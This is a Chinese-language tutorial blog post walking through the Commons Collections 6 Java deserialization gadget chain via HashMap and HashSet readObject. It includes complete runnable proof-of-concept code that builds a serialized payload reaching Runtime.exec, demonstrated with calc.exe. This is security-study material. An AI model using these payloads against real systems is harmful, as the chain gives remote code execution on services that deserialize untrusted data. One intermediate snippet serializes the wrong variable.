java反序列化之CommonCollections6利⽤链的学习

news2024/10/11 16:32:39

一、源起

前文学习CC1链和URLDNS链的学习,同时学习过程中知道cc1受jdk版本的限制,故而进一步分析cc6链的利用过程,这个利用链不受jdk版本的限制,只要commons collections小于等于3.2.1,都存在这个漏洞。

ps:环境使用:

  • ComonsCllections <= 3.2.1
  • java 1.8.0_261

二、利用链1(java.util.HashMap#readObject链)

1、利用链说明

老规矩,还是用P神简化后的利用链进行学习

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashMap.readObject()
      • java.util.HashMap.hash()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

我们首先要关注的就是利用链开始到 org.apache.commons.collections.map.LazyMap.get()  这一部分, 因为在CC1链的分析中,我们探索了LazyMap的get方法的利用过程,在CC1链中,利用的是 sun.reflect.annotationInvocationHandler#invoke 方法调用的 LazyMap#get ; 但是因为  sun.reflect.annotationInvocationHandler 受限于jdk版本,所以CC6链中需要重新寻找会调用LazyMap#get的链路。

在CC6链路中,找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry , 在其 getValue() 方法中调用了 this.map.get , 而其hashCode方法又调用了 getValue 方法:

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

所以,欲触发LazyMap利用链, 就是要找到哪里调用了 TiedMapEntry#hashCode ; 

其实说起hashCode() 方法, 在之前分析URLDNS链中就有调用,故而我们分析 java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调用

public class HashMap<K,V> extends AbstractMap<K,V>
 implements Map<K,V>, Cloneable, Serializable {
 
 // ...
 
 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 // ...
 
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 // Read in the threshold (ignored), loadfactor, and any hidden
stuff
 s.defaultReadObject();
 // ...
 // Read the keys and values, and put the mappings in the
HashMap
 for (int i = 0; i < mappings; i++) {
 @SuppressWarnings("unchecked")
 K key = (K) s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }

在HashMap的readObject方法中,调用到了 hash(key), 而hash方法中,调用到了 key.hashCode()。 所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面分析过程,构成一个完整的利用链。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造poc,首先,我们先把恶意的 LazyMap构成出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行,构造LazyMap的时候先用一个人畜无害的fakeTransformers 对象,等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有了恶意的LazyMap对象outerMap, 将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() ,我们需要将tme对象作为HashMap的一个key。 注意,这里需要新建一个HashMap, 而不是用之前的LazyMap利用链里的那个HashMap,两者没有任何关系:

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,我们才是将这个expMap作为对象来进行序列化,不过,不要遗忘将真正的poc的transformers数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

所以最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

但是,实际一执行上面的poc,发现并没有弹出计算器,这又是为什么?我们实际调试跟进一下,

关键点再LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的Transform(), 这个if语句并没有进入,因为map.containsKey(key) 的结果是 true:

这是为什么呢?outerMap中我并没有放入一个key 是keykey的对象呀。

我们看下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap。

其实,这个关键点就出在expMap.put(tme,"valuevalue") 这个语句里面。 HashMap的put方法中,也有调用 hash(key) :

public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
}

这里就导致LazyMap 这个利用链在这里被调用一遍。 因为我前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造payload产生了影响。

这里解决方法也很简单,只需要将keykey这个 Key,再从outerMap中移除即可,故而完整的POC如下:
 

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

 

三、利用链2(java.util.HashSet#readObject()链)

1、利用链说明

其实 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()  及之后部分都是一样的,只是说还有哪里会调用到TiedMapEntry.hashCode() 方法, 那么这条利用链如下:

java.util.HashSet#readObject --> java.util.HashSet#add --> java.util.HashSet#put --> java.util.HashSet#hashcode

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashSet.readObject()
      • java.util.HashSet.add()
      • java.util.HashSet.put()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

其实就是通过HashSet中的readObject方法在最后会触发put方法(本质就是HashMap的put方法),然后put方法如HashMap中一样,会触发到hashcode方法

但是这里需要把 e 变成TiedMapEntry对象, 这样才能触发到 TiedMapEntry的 hashCode方法。

而e的值来自于 E e = (E) s.readObject();   所以我们跟进下HashSet的 writeObject方法,查看e的来源,如下所示,其实就来自于我们序列化前设置的HashSet对象

回到 HashSet#readObject() 方法中,其会调用put方法,追究到底其实就是 HashMap#put() 方法, 所以这部分我们只要控制e就可以,也就是 e 这个键是 TiedMapEntry对象即可

刚好 HashSet中提供了 add 方法,HashSet对象添加一个元素,也就是e 这键的值设置为 TiedMapEntry 对象, 将TiedMapEntry对象添加到HashSet中。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造POC。 首先,我们先把恶意的LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行, 构造LazyMap的时候先用一个人畜无害的fakeTransformers对象, 等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有一个恶意的LazyMap 对象 outerMap,将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() , 我们需要将 tme 对象作为HashSet的一个key。 注意,这里需要新建一个 HashSet, 而不是用之前的 LazyMap利用链里的那个HashMap, 两者没有任何关系,使用add方法给HashSet添加一个元素:

HashSet expSet = new HashSet();
expSet.add(tme);

最后,我们才是将这个expSet作为对象来进行序列化,不过不要遗忘将真正的poc的transformers 数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

同样的,expSet.add(tme);  这个语句⾥⾯。

HashSet的add⽅法中,也有调⽤到 put方法,并会导致执行hash(key) 方法,最终导致出现和hashMap一样 的问题。

关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的 transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了 fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。

我们的解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可:

所以,最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC62 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


        HashSet expSet = new HashSet();
        expSet.add(tme);
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expSet);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();

    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2205229.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flink 介绍(特性、概念、故障容错、运维部署、应用场景)

概述 特性 概念 数据流 状态 时间 savepoint 故障容错 运维部署 部署应用到任意地方 Flink能够更方便地升级、迁移、暂停、恢复应用服务 监控和控制应用服务 运行任意规模应用 应用场景 事件驱动型应用 什么是事件驱动型应用? 事件驱动型应用的优势 Flink如何…

对接外卖霸王餐api要遵循哪些步骤?

对接外卖霸王餐API接口的步骤通常包括以下几个关键环节&#xff1a; 选择服务提供商&#xff1a;根据需求、预算、服务内容、接口稳定性、覆盖范围&#xff08;是否支持全国多个城市、是否支持主要外卖平台如美团和饿了么等&#xff09;、技术支持等因素选择合适的霸王餐API服…

实现一个时钟

头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QPainter>//画家类 #include<QTime>//时间类 #include<QTimer>//定时器类QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget …

vue3.5系列之响应式props解构的几点技巧对比

在最新的版本3.5x中&#xff0c;对props的能力也进行了加强。下面&#xff0c;我们具体看下有哪些变化&#xff0c;给我们带来的新的体验&#xff01; 体验一 3.5之前解构props的效果 // 子组件 <template><div><h1>响应式props</h1><p>{{ co…

【储能优化】使用优化的微电网能源管理系统 (EMS)

摘要 本文介绍了一种基于优化的微电网能源管理系统&#xff08;EMS&#xff09;&#xff0c;通过储能优化实现电网、光伏发电、以及储能设备之间的智能调度。系统旨在降低能源成本、减少碳排放&#xff0c;并提高能源利用效率。利用该EMS系统&#xff0c;电网用户能够在满足负…

使用docker、编写dockerfile、httpd镜像,并启动镜像,创建httpd主页和分页。(2)

1.准备一台机子&#xff0c;准备源&#xff0c;下载docker-ce vi /etc/yum.repo.d/Centos-7.repo 加入以下内容[base] nameCentOS-$releasever - Base - mirrors.aliyun.com failovermethodpriority baseurlhttp://mirrors.aliyun.com/centos/$releasever/os/$basearch/http:/…

Midjourney中文版:创意无限,艺术之旅由此启程

Midjourney中文版——一个将你的文字想象转化为视觉艺术的神奇平台。无需繁琐的绘画技巧&#xff0c;只需简单的文字描述&#xff0c;你就能开启一场前所未有的艺术之旅。 Midjourney AI超强绘画 (原生态系统&#xff09;用户端&#xff1a;Ai Loadinghttps://www.mjdiscord.c…

图纸加密软件有哪些?2024好用的10款图纸加密软件推荐!

在保护企业设计图纸和技术文档的安全性方面&#xff0c;选择合适的加密软件至关重要。2024年&#xff0c;有许多优秀的图纸加密软件可供选择。以下是我们推荐的10款图纸加密软件&#xff0c;助您有效保障重要文件的安全。 1. Ping32图纸加密软件 Ping32图纸加密软件 是一款专业…

Linux环境下配置git

总共分为两个步骤&#xff1a;安装 配置&#xff0c;最终实现通过Git拉取代码。 1.安装Git yum install git## 查看版本 git --version得到返回信息 “git version XX.XX.XX.XX” 表明Git已经安装成功。 2.配置Git 分为两个步骤&#xff1a;初始化Git并生成授权证书 代码…

<OS 有关> Docker.Desktop - Unexpected WSL error #14030 不能启动, 问题已经解决 fixed

Windows Docker.Desktop 想用时报错&#xff1a; “deploying WSL2 distributions ensuring main distro is deployed: deploying "docker-desktop": importing WSL distro "WSL2 is not supported with your current machine configuration. Please enable th…

计组-浮点数运算

计算机中的浮点数&#xff0c;就是我们数学中的 科学计数法 那么2个浮点数相加&#xff0c;以科学计数法的形式&#xff0c;来怎么计算 其对应形式如下 不能直接尾数运算是因为两个数的指数都不一样 所以第一步是对阶&#xff0c;就是让两个数的指数变成一样的 指数一样后&am…

在 EC2 AWS 中开启防火墙后将自己锁定在 SSH 之外

在搭建ftp时&#xff0c;开启了系统防火墙的几个端口&#xff0c;并且设置了防火墙开机自启。当设置好之后&#xff0c;关闭了putty&#xff0c;再次连接SSH时&#xff0c;发现连接错误。仔细一想&#xff0c;防火墙没有开启22端口&#xff0c;这不嘎了么&#xff0c;自己把自己…

C++基础面试题 | 什么是内存对齐?为什么需要内存对齐?

文章目录 回答重点扩展知识 回答重点 内存对齐是指计算机在访问内存时&#xff0c;会根据一定规则将数据存储在合适的起始地址上&#xff0c;通常是数据大小的整数倍。这样做可以提升CPU的访问效率&#xff0c;特别是在读取和写入数据时。 为什么要内存对齐&#xff1f;主要有…

如何获取商品详情:发送HTTP请求的指南

一、了解API接口 开放平台提供了一系列的API接口&#xff0c;允许开发者获取商品的详细信息。这些信息包括商品标题、价格、图片、销量、评价等。在使用这些API之前&#xff0c;你需要在开放平台注册账号并获取相应的API密钥。 二、选择合适的API接口 对于获取商品详情&#…

Java利用itextpdf实现pdf文件生成

前言 最近公司让写一个数据页面生成pdf的功能&#xff0c;找了一些市面代码感觉都太麻烦&#xff0c;就自己综合性整合了一个便捷的工具类&#xff0c;开发只需简单组装数据直接调用即可快速生成pdf文件。望大家一起学习&#xff01;&#xff01;&#xff01; 代码获取方式&am…

RTP H264封包和解包分析

基础理论 RTSP RTP RTCP SDP基础知识-CSDN博客 RTP协议回顾以及网络知识补充 ​ ​ 举例&#xff1a;在客户端向服务器发送 1MB 数据的过程中&#xff0c;涉及到多个网络层次的概念&#xff0c;包括数据切割、最大传输单元&#xff08;MTU&#xff09;、最大段大小&#xf…

项目管理——Gantt图与Pert图

目录 前言相关知识点相关题目 前言 本文是在关于软考中软件设计师中的项目管理中的知识点&#xff0c;关于Gantt图与Pert图 相关知识点 甘特&#xff08;Gantt&#xff09;图 优点 可以清晰的描述每个任务从何时开始的&#xff0c;到何时结束&#xff0c;任务的进程情况以及…

服务端测试开发必备的技能:Mock测试!

什么是mock测试 Mock 测试就是在测试活动中&#xff0c;对于某些不容易构造或者不容易获取的数据/场景&#xff0c;用一个Mock对象来创建以便测试的测试方法。 Mock测试常见场景 无法控制第三方系统接口的返回&#xff0c;返回的数据不满足要求 依赖的接口还未开发完成&#…

分治算法(4)_快速选择_库存管理III_面试题

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 分治算法(4)_快速选择_库存管理III_面试题 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f…

《自然语言处理NLP》—— 词嵌入(Word Embedding)及 Word2Vec 词嵌入方法

文章目录 一、词嵌入介绍1.示例介绍2.词嵌入的主要特点3.常见的词嵌入方法3.词嵌入的应用 二、Word2Vec 词嵌入方法1. 连续词袋模型&#xff08;CBOW&#xff09;2. Skip-gram模型3.Word2Vec方法的应用 在了解词嵌入之前需要了解什么是 独热编码&#xff08;One-Hot Encoding&…